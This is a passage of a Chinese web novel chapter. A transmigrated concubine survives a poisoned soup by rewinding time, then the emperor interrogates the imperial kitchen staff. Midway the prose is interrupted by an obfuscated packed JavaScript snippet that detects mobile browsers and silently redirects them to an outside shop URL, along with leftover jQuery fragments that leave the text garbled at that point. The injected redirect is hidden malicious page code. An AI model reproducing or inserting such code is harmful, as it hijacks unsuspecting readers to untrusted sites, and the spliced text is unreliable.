萧临渊迅速站起身几步跨到对方身边伸手接住她,口中的血随着姿势的改变更加汹涌的流出来。
温镜辞靠在萧临渊怀里,极近距离看着他,她张嘴想说话,却被嗓子里不断上涌的血呛住,吃力地咳嗽了几声,血便如开了闸的水龙头一样关不上。
“温镜辞!怎么样?别睡!快回溯,快回溯!”
血腥味儿顺着空气不停的往他鼻子里钻,让他完全无法忽略,感受到怀里人的身体越来越冰凉,他立马喊道。
温镜辞吃力的闭上眼睛,在心里不停的默念。
“王德才,快叫太医!”
话音刚落,四周的事物突然急速后退,萧临渊抱着温镜辞,见证了桌上的饭菜从有到无。
浮光和半夏进来布置午膳的动作一直不停的后退,直到彻底退出门外,也仅仅是几秒钟的时间。
“呃——”
温镜辞一个大喘气从萧临渊的怀里挣脱出来,狼狈的坐在地上不停喘气。
“我的妈呀,刚才还以为要被那一口血给呛死,吓死我了,到最后别没被毒死反倒被呛死了。”
她这边还在不停的贫嘴,俨然一副劫后余生后,需要用说话来缓解自己方才害怕的样子。
“到底谁要害本宫!这后宫真不是人待的地方,真的!得找机会走了,这随时随地都有生命危险的地方简直是太凶险了,我这个现代人真受不了了。你走不走?别告诉我,你不舍得皇帝的——”
温镜辞的话还没说完,就被人从身后一把抱住了,陌生的气息瞬间将她笼罩。
萧临渊的体积比温镜辞大很多,两个手环在一起正好把她整个人都牢牢圈在怀里。
温镜辞瞬间僵住了,他们贴得太近了,近到温镜辞甚至能感受到对方在不停狂跳的心脏。
对方的气息源源不断的传到温镜辞身上,两个截然不同的气息相互纠缠密不可分。
两人就这么姿势奇怪的坐在地上,久到门外突然传来轻微的走路声,按照时间来算,应该是浮光和半夏要进来送饭了。
要是被别人看到她们两个这么诡异的坐在地上抱着,怕是不知道会胡思乱想到什么程度。
“快松手!”
温镜辞挣扎了一下没能挣脱掉,抬手就打他附在自己腰间的手背,打的‘啪啪’响,丝毫不手软。
“快点!快点!萧临渊你是不是聋了?!”
“快松手啊!你听见了没有?快松开!!”
温镜辞故意扣他的手,一根手指一根手指的掰,他又一根根的合起来,挣脱出来的下一秒就是站起来给了他一脚。
“你个登徒子!干死你丫的!”
随后快步跑到门口堵住门,下一秒门外就传来了浮光和半夏的声音,两人推了推门发现没推动,似乎是在疑惑为什么门会推不动。
“欸?这是怎么了?怎么推不动啊?”浮光率先推了推门,但发现往日异常顺畅的门,此刻却极其难打开。
“是吗?”半夏说着也走过来推了推,纹丝未动,“奇怪了,门怎么突然就坏了。”
浮光眼珠子转了转,收回手凑到半夏耳旁,小声的说:“你说是不是小主从里面给关上了?为的就是不想被打扰。”
半夏若有所思道:“那也确实有这个可能,那我们,要不,再等会儿?”
“行。”
两人如此想着,也没过多纠缠,便直接拎着食盒原路返回,打算等会儿再来。
温镜辞转身靠在门后才稍稍松了口气,偏头就看到萧临渊眼睛通红的坐在地上,正看着自己的方向。
“你哭了?你真哭了?不是吧,真哭了?”温镜辞猛地一惊,抿嘴强撑着不笑出来,但眼神里的揶揄藏都藏不住。
“让我看看,别躲啊,敢哭不敢让人看啊?哈哈哈哈”
温镜辞一副调戏人的样子,边笑边伸手扒拉萧临渊遮挡住的脸,两个人你挡住我扒拉开,你来我往跟玩游戏似的。
但其实温镜辞笑得快厥过去了。
也不知道是刚才情绪挥洒的太多,导致萧临渊整个人完全没什么心情和力气去挡她。
没两下就被温镜辞抓着手腕,制裁住了。两只手被掰到一边,露出藏在后面的脸。
温镜辞弯腰低头看向他脸上的表情,萧临渊就这么直直的抬头让他看,脸上的表情臭臭的,但配上那双红红的眼睛,倒是冲淡了臭脸。
“不是吧你,半截入土的人了,都见过古代现代多少发展的成年人,怎么还哭唧唧的,跟个小婴儿一样。”
萧临渊抬头瞪她,哑着嗓子义正言辞的反驳:“你还有心情在这里说这些俏皮话!你知道我看到你吐血的时候什么心情吗?心脏都停跳了,你还说!”
温镜辞还是第一次见萧临渊这么凶巴巴的样子,平常她就算是说了些相对来讲很难听的话,对方最多也只是看她一眼,或者瞪她一下。
像这样反应如此之大的,她还是第一次见到。
“我…”温镜辞刚开口解释,就卡壳了,磨蹭了半天才解释,“我那不是有系统嘛,肯定会没事儿的,对吧?再不济不是还有你呢吗?你肯定会救我的对吧。”
萧临渊缓慢的从地上爬起来,衣衫太长一直不停踩到,他也只是伸手拽了拽,没吭声。
眼见对方没有理会自己的话,温镜辞也觉得场面有些奇怪,便开始转移话题。
“当务之急肯定还是得去各宫问问其他人有没有事儿,确定一下是针对我自己的还是针对所有人的。”
萧临渊坐在凳子上低垂着脑袋,胸膛不停上下起伏,呼出去的气也带了几分沉重。
许久之后,他才抬头看向门口。
“王德才。”
话音刚落,门外立马有声音响起,不消片刻,门便被人自外面推开。
“皇上。”
“宣周太医过来,再去打探一下各宫妃嫔有没有人出现异常的情况。”
王德才应声:“嗻。”
随后快步离开。
周太医到了之后,根据萧临渊的要求,先这碗参鸡汤验了毒,银针放下去几秒钟后再拿上来,浸泡在汤里的那部分就已经变了颜色。
他凑近闻了闻银针,皱了皱眉放了回去。
“启禀皇上,这参鸡汤确实有毒,似乎是鹤顶红一类的毒物,且剂量不小。”
“先回养心殿。”
萧临渊说完便直接站起来带着人走了,临走时让下人将那碗掺了毒的鸡汤一并带走。
王德才询问一圈之后,得到的结果就是,只有温镜辞的那碗鸡汤是有问题的,其他各宫都十分正常,并未出现有嫔妃毒发的情况。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17621579|206026||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
“说吧,是谁指示你们在鸡汤里下毒的。”萧临渊坐在上首,底下密密麻麻跪着许多人。
御膳房里的所有人全部都被抓了过来,连同今日来送食材的人都没有放过。
萧临渊话音刚落,负责做这道汤的厨子立马慌了神,他在御膳房也呆了许多年,一直本分老实,从未出过差错。
眼下出了这档子事,他就算是死,也难辞其咎,说不准还会连累家中妻儿。
“做参鸡汤的是谁?”
眼见无人回应下毒之事,萧临渊换个问题再次问道。
藏在人群中的厨子听到皇上的询问,哆哆嗦嗦的抬头出声应下。
“启禀皇上,是…是奴才。”
“是你下的毒?”
厨子立马摇头否定:“不是,不是奴才下的毒,真的不是。奴才没有下毒,奴才真的没有。”
厨子慌乱的结束,跪在身旁的人立马低下头,生怕祸水东引伤着自己。
“给各宫娘娘的汤也是你负责分发的?”
厨子颤抖着点头称是。
按道理来讲,如若是整个锅里全部都被下了毒,那就不会只有温镜辞的那份有毒。
难道是因为温父升了刺史,所以招人嫉恨?故意使坏?
那倒也不至于。
温父的官位在后宫诸位妃嫔身上根本不够看,且不说温父升官原本也在情理之中。
唯一可能就是她们两个的关系又被人给发现了,所以才只针对她一个人。
最开始是贵妃那次,现在贵妃那一茬刚结束,又来了一个。
“每日餐食各宫的拿走顺序是什么?”
这件事御膳房管事儿的知道,对方率先发言。
“每日都是各宫的宫女太监来拿,基本上没什么顺序,哪个宫的先来就先拿。”
他们只负责在做好之后妥善的放在食盒里,然后按照每个品阶饮食不同的问题,放置在不同的位置上。
品阶大一些的一般都有专门的位置,避免娘娘专门叮嘱过的膳食被他人抢先,这也算是不成文的规定。
“今天的膳食谁拿的?”萧临渊看向一旁站着的王德才,对方立马明白什么意思了。
迅速将负责去御膳房拿食盒的人叫进来。是两个尚且年轻的小太监,见到萧临渊的第一眼就立马跪下了。
“其他人出去,管事的留下,今日之事切莫声张。”
“是。”
一转眼,养心殿就只剩下管事的和两个小太监。
“今日的膳食是在御膳房的哪个位置拿的?”萧临渊问。
“是…是,西南角落的那张桌子上,往日也都是那个位置。”
对于那个位置上的东西管事的非常有印象,那个位置一般放着的都是皇上的膳食,跟其他人的也都是隔开的。
瞧着现下的情况,大约是皇帝这次的膳食出现了问题。帝王的膳食出现了问题,意味着他们的好日子也到头了。
“他们两个去拿食盒之前,有谁靠近过哪个地方?”
管事低着头仔细的回想了一下,食盒的位置是指定的没错,但各宫每日来拿食盒的人不同。
他大多数都是记不住的,而且食盒众多位置杂乱。
“这…御膳房人多眼杂,奴才确实是记不起来了。”